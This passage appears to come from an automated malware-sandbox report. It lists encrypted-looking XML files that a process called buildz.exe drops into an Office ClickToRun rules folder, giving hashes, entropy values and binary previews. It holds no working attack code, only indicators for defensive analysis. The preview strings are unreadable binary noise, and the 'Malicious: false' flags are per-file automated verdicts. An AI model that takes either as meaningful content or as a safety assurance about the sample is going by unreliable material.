Preview:	.<?.0...,.\...jh.....f...D....B....<.C.B.~.....~b...........DU.$.uc.....z......MU.........9^...3.%`<..2W.t..^g..L@^.B..`s.k..h.jw....Jc.L....ln...=Ku.9k...%.(7m.M..gOD.+}....PhO.!B...V\|:~(k...I+...j?...H.f....yZ.c.I.4:.....J........{.}.S......\..S..XPu{nl.\S.d...v..S...$ .P..S....:.Pg....Q...%0.H.../.<.,?.D.....y...B6V....b....!zo.....t....iPK.f(..V./b...ZTv&\|...N..PHo.k.q....At.Q.3.l...l..<.f.7'..u.......f.}.^4.Of"p0I@..e..)...1....r.C_,...%f.iB.x4ii>...\|.......<).t:6...+...R3[.4..e._.._....{....h0'F...?+.GR..L....;M.!..X.6.CE,......$...rF...a4u?.;...w...).'C...G.6...... ....Ss.........i.Z...:x..H.'Dgs.H(........4#.....OSB..b$ W../.....&..f..f8..j..m.g.+......UJ...d.2./.....SmKqG...2...Yd..OI.s\m....i...+........C..1.3$)..._...0.....T^.1`.D..Lg....]..%I......I.....PY.....y.9..x..v......L.7\|:..........J.#...c).I...gT.e.o.YX..lr.....p.....,.(..,$[5...wPg...{.mA..TN9.Mud....d.9*.5.$...B....K....E..PC;.G/.!&.m.& C_.E..'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.883229594049943
Encrypted:	false
SSDEEP:	48:pNxVBj7KoJCcptY6vxTB2k9nhOGc24eFINpF6D:JVRdJCcs6vL28h9Sm
MD5:	57875631D51C6132349DB810D2509941
SHA1:	629DBCEFF7CCEF2343BFFADFBA939311B7417687
SHA-256:	8031F1320288D3A2ECA382C95D76979C4360C81D79C918FD8D669095424BDEC8
SHA-512:	B0E4AE37E55B4BDEDCDC862A5A3F07AF619881031D799A81338488F972BCAB6D676AE695169C22F259D05F6B350752D817A33FC7B9C142519CD236C9D5BB7364
Malicious:	false
Reputation:	unknown
Preview:	.<?l....<./>.K).n...h.^..Z..\|`J.^.3..Yy+.......p+....).5;...C_.qj.s.!(.(d..AKf.Y$%.....x.N.&....X.)...PU.G...sh.]..L.....n.z.G...i.D$,..4.$....V..Y.....".KM;.....!7.p..X..g:.m4.(y.f......-..."oU.]&......{.z.....4..K.QL%...W.F.9.B..3..H..Cz.E.P.....0.......h..}O.O.........."..Fq.H...V.....(..n.....y.....Ga.....A2...jZy..`.z...T.....M.....N.._.Y........(.qz.C..b.Se.0o.{...Z.]....x}...e..b..m..H=..\|..u....J.......9<..V....8^....... .0,C^...(.D....7v%:`.....-........pD..............5F....lQ..z.6.....x>..W1J..~.$..>...J.....!.N......0d.ND...7.>F..38.<9....Y.@R.2.$.A.?../....z+.3..I..{.6.2.[....e...I....D.2..Z..>....f......$...v=y$.4...2../...p.....F...i..u...1:..}......vY..ql.z........8@<Oq..._..U..VW...X.-..HO.v.D.&.....7....&....u...t........7U..X..f`.\'C'..P(..#Cy.NQ.r...IXc.>......j.....s..R....:..........0YX.T......9t....1.).........3.3T..,..H.......jZ_..*.:R<&.o.....@l.y.Z.\|..M.x.D...T.s..t......8.J..X.....A...-.\.......k .`I....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.879326408032734
Encrypted:	false
SSDEEP:	24:36ghUKeYsWnaUMOA2rVL6BGYEtXrU6voL1SVI+2z+CHXtsjVmn4q+aqMhhIDHQhQ:36AUJWagJkGPJrUUoLANwtMA4qVqGnKD
MD5:	7E65728F53BECB43E0DDB4404BDEFF87
SHA1:	02F36ED5FB5DD5F77F7BB045943F8121C4CA6EB9
SHA-256:	1E21CD4D9B407543D4697B1BDF2FECB33AAB21A26D4E71230855CB3A43E353FD
SHA-512:	BB0B8F4934CFAADDA0764E268A40516D4F40A162B6C9DD5D5C876F95E17FB9EB0A9AB667D772E5F95E7997D2D0F5BABD9CCC0D112E8AA34F93410A33F32B2C64
Malicious:	false
Reputation:	unknown
Preview:	.<?\|~.Al_..........+.......B,.5m...K3..)....T.....Y.=.. D.jd.~x.=..f>.M.V.x.......K..H....T...Z....U.+.B.#t..^@>.>..Q.KDZ-..qn.j.=.<VL...{.g..S.......>..H7.._..u....cU.u..9.....oj.....\|M.-...[...Lz...P..r... VhZ ..Ly...u..s...`.Iv...}z.........(.Y\Y..&.....)<..%},.B.b.+s.eki..D5..%}....?q.....:.r.r.......Z......Be..Y.r..v..j.L.i-..=...ds.aKZ.....S...-cg....e..Y]F`.pI:#..m.. .X5V......d.9I..>.^cN.9{~b..,...p.W/..V&..R..:..P.sG.....H..Vd.)....9#,-v.(6.......Xs.9.&7..}.C.Z.-.D......eO..Q...u.Ope...v.%U.9...R..._....(.9..........v4+...q......_!.N+..&.XD.. ........bD...v..;.O...d;i....buQ.X...=...O.ua....b...y.B.}.Cp.M....aG..F....}.....+.D... Oh0.e\.0Y..)s.o.<...J.0.X/........z".}D(\`.%4.B...S.........X..Q..LT.+-<....y`.@....C...;....=!.7.%.9naBP......Ck.w..y....3../.z.......28eK4....::4x...zu^..<..R.0F..1..%....[]"...2.`.n..$....(Z.[..\|..B..0:.0w......y...\.0. ...Q\%..#..lMX{..ca....T..H.I./.:H.(..6..l .O..z..a7.....=.k...............p.o.4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.904425236890192
Encrypted:	false
SSDEEP:	48:2A/MHbtpT/biBjfUuWj2U4c59Ot+ZdF/KtPPWLD:B/MHbtpT/FuWSDcnZddim
MD5:	1B619C422C142302470D47E3C166A3D8
SHA1:	6F072D934347B62ECEECCEEB396E3F77F3B03919
SHA-256:	F4F68DA3ED2C49A27344C3022D251270C8419383D74BE1489DEDC9C885E5E618
SHA-512:	14971E12FD04FA3FB77B2706F446F7F56FE6359AEBC71C3DA8FA1FAC900E62BE23A46F41B56222779142E2E487D3EB64BD7DEDF17C784CD8C6BB2EE12532EAB0
Malicious:	false
Reputation:	unknown
Preview:	.<?p.!U.T.h....4.r.rO.a...e.....~r....m#JP7W.~..Qj...`>..d!..a..b.g.e./j...$V.d~.!.qS..2,;..sGk.T...!U....<.]&8..d~..j...}..c..8.a.s.F........dM........C9....d.h...a..R.=.;.....;.....r.Z..&e0..m....2A..N..W1..>e..S.......j....$.,/ .X.`..l.{..R.VI.d.....)=.D..>.r1}.7.=y....R.. ...4it/..Dh.....M.6Y{Q_.tTl.Y...Hp..iQS..i._.....#...........).Ly.~.H...d.........Nh.W=.r...G.;;S..H.....d.^.C....x6GBx`B..q..C)....Lx..tp.J....IM......` ..?...5b....{..QoXw...\/.....qtfVa}..7I........9SvV......+..'.lX...O.....\.4...v.d5.u..D5.F).H.%p?.U...0...=.#.5.&m.....x.d..R."G`T...T:...."..h........R..T..[.......5af..@...........E.=P.].h2.9.....~.....s...F.._....hu. .Bu.1.i...hGI..IV(}.K3W..`&.......:.w.^.C.y.....9.... .+.X1U..f@.M.d....G..p2>pr.Y.(.*,$...).H<..O.o....p{..]x.../..c.1y.+...I......!.I.7..V.%...RJp....r.Y.n8......Y..I..=...SC=..............tYE.....w.Vr}H9./......c....M.q..&=..<?.=(.H....{..N..P%.x.x.....O..N......&'....\|.....p.@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.887111418645788
Encrypted:	false
SSDEEP:	48:Io7wCb8kluB5EIGRs84zItEiG0CZpG1xD:vwcluXEHRstzItO0t15
MD5:	D6F74662641F0AC9108D8D0DAF712D31
SHA1:	391CD32FD2D59685980310FCCBF9912D2BCF9B62
SHA-256:	D78B5CBF171B2A0091203A28B332BB3BC254C0A53748D9A1509C4C71099CDF09
SHA-512:	944830D69AA0665D19E03DC64CFDA777F05F365083450C002FC3BD5B1D2D13646CAB131E78ED4F626D5677C63524CB6691AEC1D8872D1A6FF88C39AEE083D92B
Malicious:	false
Reputation:	unknown
Preview:	.<?.l..i.&..Jp......& .T..~..r[.M.y..QB$.U.......?.G...O].`@..b.6....S......_...LoZ[./..D.Jh....?....T.Q?......s...ti.~./8.m.....1....k.#p.Lg.5....3A0.$..v(}.c.Am...+p.p...>..j...ZCg.<!..J..;..\|.'....PM$.Ae`.J...:.kk].....o.l..Q.....4X'.....)..p......]..T.T...+KS..u&l!.....?)vKo;.cD....EH9.6dK4.....9p..._c.D..>..X..:_].O.].H...."_..."...5.o.?a..........C.....R.D$.I^e.~V5e?u.0.tB.3..l..=......... .R....k..2 C09f.=..~..m..M..5.~&..E..QD..u.P........=.$_.H.1.H.a&.Z1...w6.*...j.\...5tdZ.]'u....B.w...pR.......B.......Z.....m>.?.:T....m.. n.O...4b...ch<..z,$.E..._.Xka(.J&G"..rL)Z.4.-4...7\|.Ylh.v@........X.. .G..`..,".......-...Xh..A>V..Rho1..(t>j.e.B..l..G(......7.p..(Rm.."......G5=.R.......<X..+.ow(..?[.mF._"k..#-"e.nr........._.\..i.$..9..{F.1..."...:.4..W.I..6uA..}..j.....u%.^....x74.?.b.G.14).2..P...>.E.....f-....K..I...[;tf.@..1.n....I..}.X.U.............jL.P.k6.Ad.........u$1.w..+6..e..;.....e..[...0....e..E.c.>!.L.`G..}2..v...!.5.(h.D.g..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.887089515675071
Encrypted:	false
SSDEEP:	48:fG/E7ojCITnzc2DoiHUMqpq+VUt+yMohmuD:fcsojCITNDoa2RVUt5DAW
MD5:	D18AB280D4D45DCD59616598F951D985
SHA1:	55CC4E92CD6EFAF9888A22EE243558F13F89D6BC
SHA-256:	BC1BABA5E8A484C1FDB881F177CA55218DDA25D441E9B770A9CDB4DACECC3444
SHA-512:	144B97E307A4A3078BEA7DE9C6EEB621C4855AFDEAD823865E8688E0570603D6E75D4C06AC18A0742DE0333E267A4DB0BCABB8B0EB6029C2DA8543CB17E66078
Malicious:	false
Reputation:	unknown
Preview:	.<?.;.,...Svuc...I.....fC>`k,......B..b.QkE.N..a..../..j... "..`_. kF...<\|..5..jVrq....A..,..;.0...p......O.uBA..`A.s.r-......X..0......b..c..t..<.VT>.w"8D.E.%Z+.....\...$.y3..6B..g..j...c.j..8..m=.............MS....c..$...1l..Y..uT..'/...E.<.=....S...D.d7...v.I{....D...9..#.6...yA.....M..w..m..L.c/.......Z{w.5.l/jC..Mx...h;..4..Y..a{.M...B...o.g.. .C...0...a..R....es.~...L.f...[...u....q.@/.Z..e...A.'..9o.u...G?(...AA.R2d...L..B......`.\...7..,9...d..e+..o..a...4h..v..=..Dii.`u.qX&B.A..x..\|.L.ql.G.@...L........J.${.....[.g....R?on...w..F.e...P......r..Un..8wa./..b..e..s.R...#,..@..-Ay}0.?R.c.?.....?(.b..4...>...f.oRc785.W.R..7]..y.U....9./....+. FV$..W............n...>f..8[.....E.G..g.F..^....&.......'.W}..F6r.6.4$3.q^].....9..$...Am..#........9.J(I..E...".d...(....$....L.S..Fc....Y..N...v.....i...GT.............+....XB._3...W`..._%4\|,..#.>N9w.....8E.\|... B.l;..,C..e).pD.l.........P<..28..I.w.n5f......=.U.....,.*...!6...1^...{0...j......3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.893169529627449
Encrypted:	false
SSDEEP:	48:UNXTsHm3xX7ru9CLEej09455QH9V4RkjlSy0/2mD:UTsMl7C9CEeo9455cCRWlSF7
MD5:	9D3ADDCFD96DDE3CE0E9417B6FA69B22
SHA1:	1573840C813315138FDE6B148CDD385A16B53A5E
SHA-256:	0947EC52159F3C0B3AE8F3BD983833293322BD4CD9A17F5696261EA45BA69875
SHA-512:	9A106BA2CD870D7DDBFD51B61550C2F88DCCA70DCCF866C215EA279BFD9AF20FB4278D7B716E5DA2386732AD9829068A9512014D6363A06692FD74755774E0FB
Malicious:	false
Reputation:	unknown
Preview:	.<?...m<R...X.......f.........$TG$4.".. .HR.........%5.?..fU..e7.......u.h..~?.J...b.,L.. ..X...v=....QO.'.. ....~.n.K...X..!.}...1B....a..[9.o..x.._..U.U`1.....1.m..........7.x^..,=m.....{.l..K.@..TqF..ie.$'....f..0.'..$.f...-X.\.]U.m......%n....0V5.77[....LZ..$....%h.>Z..............p.....[t...........r.............I.a..u......<..&....c.....>.ZC.gu00...?.H..s[..^. .:;L..TU~d.....5.l.G...cD../.;.ji..X.qn......4.m..i...0......q..V.`.q..4...wQJJ.4...;?.V.s.k....I.h.pA.5..Z.;Ed.uz..+...X.....7.[J..[.3.."4...3_.G.)t`N..ak.b...j..i.l..-#..6n^..\|.O.C.r.{..T.u..p...f..<..>8....<Lhy..oQ..0.@s....p..~[D,.ux...:;q\..^.7.X3./.H<..W........c\|c.kpy.Q....Z..h..%..j .,...p..r..,...Q......n.D.....m....q.z...9.....q6...q.Z..>..5.'z........G{O....a....G..3"js.B.....:..X.8..}...N.M.,....V.....BL._....r.I\|.D"I.?.D..=.3._.............4j%: .a.Sw..c.=....U.g."...]]~&f.R....}...9.[...a.(Q...@,.......%..g...7.K~.!s}f.<.w.........M.....\|.c5M~..7..Js].X.@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.895495980081021
Encrypted:	false
SSDEEP:	48:0mOWH87vnP6qCXknd9xtZBO+a4J6MuzrBxdID:0mOWGvnPmXkH9dTYMErZU
MD5:	F76F6147AB3F24D063D045AA95F2F19F
SHA1:	0345A5C4D41F7C19DDDE441BF0408D37227CCB8B
SHA-256:	30E071A1DC4EF6CE7AB0453F612C98FEC94A99C6405143EFABD99EA9964C35AA
SHA-512:	6899E8BF71951B4D13CC6076594804FEB64A5A59A6B427A3DC821CF37BD04CEA0F0DE81BA94213ED80A939BFFA08BFE1FB8108911DC80BDE9D023CB0AD1095E8
Malicious:	false
Reputation:	unknown
Preview:	.<?..^w....o.U..k_......0..0qM.e.x...B6.FK2JB.-..j.=.r{.%~..a....sSNM....I_.o.!aV.Y....^.}+..Jh....S.T{.B...>S..U...k'...+9.i...^....Qz....fCK. M..x..,.m.\....je.>y.....X..6..3g."...}...l..C..zz..Y.....S.c.^61{SK.\..../._....d........^...~.K. ..<.U......... ?be.u2:.n.4.....5~8.....!.\|.M.l.]PU.&.Qm.9._..Z...1...9..q>.^..1.W.....r_{k0...s...$.C{.(...~......dl.}.~.P...%{.K... ....o..&.Z^.]ZmwQR.;>..#.#...d@.......5...rt-@.A.1.x....N.a.?.p.t^!.._.N..$-.F3^>.u........Vx.l...B..N......p1%..H..Ug....2ICN.iXp...)... d..R.6EZ..Zv.}..=.0,....u.y.....\....G.2... ..6.f.........#..}..[.h...e..k...."......X.>..bi7.3.{W.~.wM.P....7...t.)+..=.q6.yq<.u.....(.a.....~.........z...D.l.`&TP.B.i....c....F.KV.Q.i..u......e....T.........!..N...(9..<..q.$*...).l.._:.KX.. n..........w...{...0Y5..{\b...X...jv+.....Y..O5HD.c=.AB.O..)...#......q.?.......~.....(3.I.<`C(.s>QY.3..d,x...{........z...8..Z]...N..C..D.ys./..^...BG..OV._7....y....e.h.(.......).....\..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.880398489311536
Encrypted:	false
SSDEEP:	48:YlPpeXII/XSr2EHARChzA98srUT3ODz5yNdG//D:IhRkXjFIzA9zyEzMNwj
MD5:	2B035FE72B5625646A223CC14653B68D
SHA1:	E8CB910E4C29B49EF34744B35BB282F69A1F2A36
SHA-256:	36A4C0C16CF978884DC5C3D6019B9CAD68EA3C9843A2AABB2E66D98C9103EE5E
SHA-512:	177FB27531CA3C045868626A3A5510E8EA56014D7AF24AADF4BC036222EA64ECED3C0F2FC47D6D294E86CEAD964B8C5BDC0B1AC1D0462E447351359002AD731A
Malicious:	false
Reputation:	unknown
Preview:	.<?.L.^.o........#[......(..E...\|.......d1..2.........eS..(?.URW.'.?@./r..r........>d............H..tg..v4{HzA8..?v....t..q.a...Z~ ..Y.<...d..c9.l...).;...Bk.z....r..e.....!......j.O.N.y.]...n..^....._k.F......x..._....$.N.h...O..O-7.x...2.B.?<eN..w<!g...G.Y.^.A..7'..YEg\.Fn.J...4Pn.?.....m..=p...7.e.....y.3..)..CSo.#a{...D..tR...M..].........jP].....g.qx......E.1q...v............V.M...W..4..x..)..!...o.[..&....72....q.W.....$"......Q.=.ufE>no:o..\r.2....].X.......g..2H.A...^TDfQ'......s..O.9....SB...c.~l$7.....3S....3O7.F../.~..-@'..![..b....5n."..tyZ...V!.$...2...t^.yC..#0..U.kV._@...\9.5..N#.F..V.7.[..K.vWZ-fR2..^....C....s@.......Nz.d."iY..\|.Z.5.O.2Q.Ce..@O...-.xH...._.MMRU.n..+=...`..."F.y...J..7.'...n..mgRP.#E......S.aa<..!......~.X.".E....O.....x.....p. .=+...^k.2...*F~...KP......J...i,.v..6.K.ck.....M......+.......h..$)?.s.d5s.8H9..".a^.Y.Rb.._dEO...h$....P.U...i.#.m....bE.&.....U.Y..P...k.....f..,.wi...tg.KSw. ..H..^fB'.h...sd.~r...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.887713101484821
Encrypted:	false
SSDEEP:	24:7YpT5sRZ+icOHqLxElR8wqBL1IOOAro0VxdRyzKNeE2IcURTo9HmexG/ct76wtpw:EVer+iZH2MvqBLOEBv4UR0HTQg6wtAND
MD5:	3F82B2AF3EDFBEFA4A42511C15B0F4EE
SHA1:	E97274910C3695FDBC57E99083DA25AD3873FB4C
SHA-256:	47AC75121238E5F11380A0757B802EB8388D0E830E345ED75F14D3A0C7FEC170
SHA-512:	3018FC325566502DEEF6D968286723C99C81BBB1596C07B525FDA0B23665AF1C0339674BD6D4FE7DE814F79945DA98478B7350ACDA836599B60327AC9C1420D5
Malicious:	false
Reputation:	unknown
Preview:	.<?.....F..Cg.eH[..5..QZ............>.X.\|{K..L..2. .......z./RU.w...\....K.q;....3W.6...;..$..7.s....#9.k7'....=E.:.._w[....B.mRSc...U.]..=....v.._.w......UAY...z}.f..vX..A.B..S-. .O.4..vT..5>[^>.d....M....J."z...<UQ.....S...&KHo9..R..!R>6E+3..~}3..H..".m...x."p.G...].F..z.h.s<....L....V...r./......m>...(..r[.~..a.W..zi.~[.......m..0G!....6.).A9.\.h..c.suck...f...+U.\W~...q..p..$.."}.Ws.;=M.-&...\|.b.h.U....T..4]...G...S0.x..r.\|.$.).[.5..}W.o..lR&"K...K..V.>^.nz..bi.~..!....<O.hQ.#....F.Z...;.......R.b=N5H.....~9x..Q...UA..\|e.Y?@.g..9......QBK.&w..(.(J...pYf.4.1O.H.=g....?.sB.#..%.@....V.`..;..Q..z.!.~.... ..N........4.o..4....pn......0....S...X..)..O.(tj.......u..ke.O...........Q1o..wm..[zj.^u.%...1t0.NmI+]..8...:....[/.W...95G.6.r...5......~.K....rY.m$e..,....d.Y.%`RU[.[YcA....6.C..neU.'..coe1e.`.iU......8.s.u.../..z7#...c.t.$.t7...../...;......n..TA.......Q{...~M.....3..'98.$.e........c.c.b.l..c.Op.!'\b.........BCs..s.....!............

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.895183606829133
Encrypted:	false
SSDEEP:	24:Ej3fOLQd1zQsgKeZmSWaehLm5p/hDFm0ACscJCI94d5LTt6mHwD/hYJiUYhXW1EX:i3fOLe11gBmSogDA0JC5PJJQDZ2vYNBD
MD5:	3F2A9195286188BF16DAE70DB45FC2EE
SHA1:	F7CE43A1293AF6352ED8BA57074AF151B324E5A3
SHA-256:	77069E0A2C363C86DA7A0CACD082A6B934E9C3062B17FE55ACC7231F480D9C08
SHA-512:	8B0E6D1679B0C1E3176CE0FDFCBCF059CBB2D3CEB1EA0F43D39FE85CBD7E7730BEEB10BDBC5D110637908FEDAAEA29C96FEB68AF8842FFDD0D0A4F301F4052E8
Malicious:	false
Reputation:	unknown
Preview:	.<?.(.,..[.1.}..n...&W..H...'..A.).......v..ok.53.H...Y..pF+.b..5.......6.'..T.Q..v...OE0Ek..........i.2l...8H.....J.Su{.H..^..h......eu.....~..;....i.ka..8N.C...2.....0ERH.g..L...9.t.V..^.h,...b.}0@.KV@..~A.........@r_.j.EyE.X..t.r.GG,...%.X..E.......`....O..5......f.".=Ywyv^...A...z.?0...4.)..v..8W..9+<%..b.T..dM....?...<..-B.......B#Ma/..l.s.Z...}K.Y.77..l.<.W....v.`.k..../9.<n.-.I..p.B./VGb..G@1SXp\|l....j..4.......5y.....r2.>..t....1X>...D....00E..S.uC.K..k..n...gn9.<.jd.....!.8N>...L....B.){V 0e\|.....i^..}..y..[......,.......N.d..VC.!..Xw.U.\Z>O..-3.....ac r..qv......z.....o"..B.!6..W=.\|.g...e..?\|\|..9\|.....t..pv.!.....NU\|.&O7."#.....D..SA..g.?.ThN..W.@......O.....z.)O.c.+../mW.....w.+S&t..9..8-\......._.R..h..%.2b=f.*Z................s...]..].E+...?..6..uQ......YI..v.....\|..R.r\.M.80H...a...Ps.-...S...L..I.V.A0...l.....F..BB..>............/....&-....tP...0.G..g..\|.(..c,>[d....(...iD[\..F`...._..+jFM%J.]$..#.c...^..1..i....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.893703674673375
Encrypted:	false
SSDEEP:	48:tGD6tRxCCDMKO/7yKjGZaK3uXxtpvQVWlTsgD:MaRxCCVURjGsa+xtpZlTs8
MD5:	50B159C6A431C301EC874419BCADC4AC
SHA1:	D1262811A0BAE2C4088FC28099C2EBD2638D27A3
SHA-256:	1BB89F7D6B97D9422842F728414F1ABB74856F9A1E8101F9DD9FBB6737E235BA
SHA-512:	058F266AF489A460CBE6D397F084C25002ADB6C2B36E9553553F8A9836EBC20BDE467044BDCED344E46EFC99C5C01474313E97ACEFCB9125FB76DE0600F67605
Malicious:	false
Reputation:	unknown
Preview:	.<?]....{yV"{@l.\|f .._...h..y..I..m!..M.........W....z._...).v\|...uE..0!......AZ.T......S..S....4E ..O?.h..3.&L<g..O}.(.A...\|.....?..)..O..0.7-.}..1s..#...=.1...<O.zNx.....c...m\|s.R.8B......i..G....65.7[..o.,:..F...vh.pc...b`L...G@3...p...&.W..".8..}z...o.....b....c....k.......rx....._....@)o.n.[/.V.=]....k$S.2.......@."....`..U....?..............q..\.[(..._).!..._.......1..tH.\|....o....j"..g... .o7=7.WC..u!.w..X..<(_ye-.z.9.6.s."K.....d.,yb.qy.gs.y.m.... ...uz8g.]..!6...G..!....G........$....9\|K\...-..........4\|.h!#........q.v.ia..%Y.....$...R......1_.....$.v.....f.<...H..K.....Q..!J...O.rG]..}.z.......a._.4.h.\..j.r....#IF..j3.F.2.".z....>n.@......Y6w&..1rP..9....V07*.S....."....!....o...J............s.i84..l.{...a....G.9P!....OBrY..N.U......R..@..Y.u..lw@...m...\|O.,.&...2.,.u....H=...../.LD...gs?...e>$.\|.au.N$.....la~..1.......H.....i9:V;..a...<<5($..\ .2R..[.>....J.j.I.<..zSf.Y..[.O..>y.4..q..x.e.)t.VB.[.....S...k....ni;.. ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.87510011319138
Encrypted:	false
SSDEEP:	48:JiPfvTTZwaFGpUCyFI7q4+Tho50KsTy+D:JiPXT+aUplyO7Mq50KsTyG
MD5:	482FD5659AFE4E8990AD65A39FC56813
SHA1:	DB7B3A48BFFC862CB7BC4285AC2B0A777F0F4561
SHA-256:	B3B9C1B03589304A97B73597EDF6BA0B97AC35B74C01E54C55AA19D31E95418A
SHA-512:	BF5FD21232561AE84DF73834C42E1F2873EB8278CE4BD3DC86215BB2DC5CB77462C4AB2F5F8E08041971C2CA7DBFC039D3A00F385BFCD68210D1FA0AC5183600
Malicious:	false
Reputation:	unknown
Preview:	.<?.$.8~...V..... .!.?.k.....'G...>.<...A;.+..>.)...i.......).f].)(....W.3.L.j.&Dx.tR..o..BM,..\|P{...<..d.B..P]..Cjr..>T....R......:.x#0..'A;.i......D..EP....?..;;.R.....T..+9...m.....U.<.....g.;y.....B..._I.W.Q.. N.H..N.U........U<....."..Xg......q....... ...}.P(U..b.M@L.j.G..y.iB?._`.D)x.t..p.CP.5...+.....;..j{...w............%_..w;l......P.....Mp.......U..A...........xp..JV.a..D......r...T._..%V..-d...'.......CZ..v@G.6..@...s...@.Kl4...w".g..{'..4,RI.YG.......~.....Q.2f.HI..4...M\.D.8^.....4.o3.....`z\|5w.Rc..)....S..2.......92...m.)...g..)F..<....Z.....$/...u/L...........K.........h........]....P.J.....W0..HId.\|.6;.....a.C4]...7.W...<.. ....C.v....tFP.E.i.Z............eF.i..r.....R\i/...\|.{...v.0t...]\....h.2.......]..3.3Wt.0._m....o.......<6..........b. ..4y.B/c.........D)._.R...nN..5!.U.CL..C......E.L.g.0Q\|.iI..UjC.5.]..z.........L....9.4Bo\....iW...8.....T#&...Z..I./"{...8?S..R.X\|A3.b..U.-.......dJ!$.h.^V;.w..Q.c^.\2.Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.895500517202392
Encrypted:	false
SSDEEP:	24:+rP1v5KEZfzqB7/qJ5Rm+3UCSE+ZJkluEhtBATZkYthfQhN+D6i1Kz1ugLnrv3bD:q5KEZfzabZJY/ATZklog1umnDLD
MD5:	C245D14E682549528C3C531F7319C336
SHA1:	547F5AB5F03C09F76A1AF2412C24D2B308ED95AC
SHA-256:	0A72AF612773CB6C864040615A24FBDEC741E326BABECBB9C86E3332CF5CD832
SHA-512:	568B77ACFDFC25FCEF56071D58A22B4E10FC907BC87A9AEBC73323B36723EB79E75B643F76CED11399559B95E6A668D0B579056B0FE1C8A629041F8FF0B70984
Malicious:	false
Reputation:	unknown
Preview:	.<?.c.cB.b/.3..N.-p........#..d.`nL...;0...</.'....z........E}{&$...}..--..$Ua.>..V[t.HsJ...p.d..if......x.}..(.8.N...oQ.L...[:m./.a.A...J&D%....!c..z.........!...li....;...<O..Hw.........\........ ....v..c...j...-.uY..O..J..j...0M".g\|#i.....B...p.3.2{......%..L../..........E.^.u......o..d...C1l..O....d.X../.,..E...;.{T.4.....`.F.t...lS..!.4(.3M.hE9v.H..A...qc...1..2....7...........n.. ....;Bz{.v..\.{..6...Z.n\|.;..l#H.....<W...SA..@.$/...Y6.?.$.......g"..1.[)`.e..M.F.I...WM.rN....K]......f.._.i....o/...^....Je@.u..Av+...'_.... QY.w...#.AS0.c;6k..,...... 0.~.J.~`...xD.R.I.C.......po...\|.p..E..z.f.5K.6C...2N....T[g...i..M....D....#.......!..[..5.....jG.G..0.r......Tz.>......e...x.......{...a.RR{.."X:..<...b9.........Y,6.....{....H."J.....i...>x.. .q.k.w.]....1#.A...9.....Nw.Z.}.B.w-.!Rh..N!f...#5r....s.....~...W.A...?*.k..I..`........l.dFf..J..j&.o2..wf..>...8m...J..).5n....:yg..gb.{hBr.$.d..kR..}...qf..../.[..?.jW..M.@#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1720
Entropy (8bit):	7.878644752346833
Encrypted:	false
SSDEEP:	48:mIqbkUUHTHShSdW6TjmqrQ54CiRhf1DCAYlWaD:mBAUWRNjmqEKfRhNDCAaWy
MD5:	2AB760F6AE635724A9A35E60FB4E66ED
SHA1:	0F106FC641DD5C76D4616F4B0472D865D9923A2F
SHA-256:	4F93A55F4E082EE17E31AF040C7D51FA034C5102A95FF6DBAC75F758290C3B54
SHA-512:	E64237424F61CDE4C2DBD436AC49D9A843894BD5088D6825626CA898D25CB5B79BFBCED8CDE6CD6AB78354BF313058AD4655E9ED70FA03A71693C6A07C3F2D2C
Malicious:	false
Reputation:	unknown
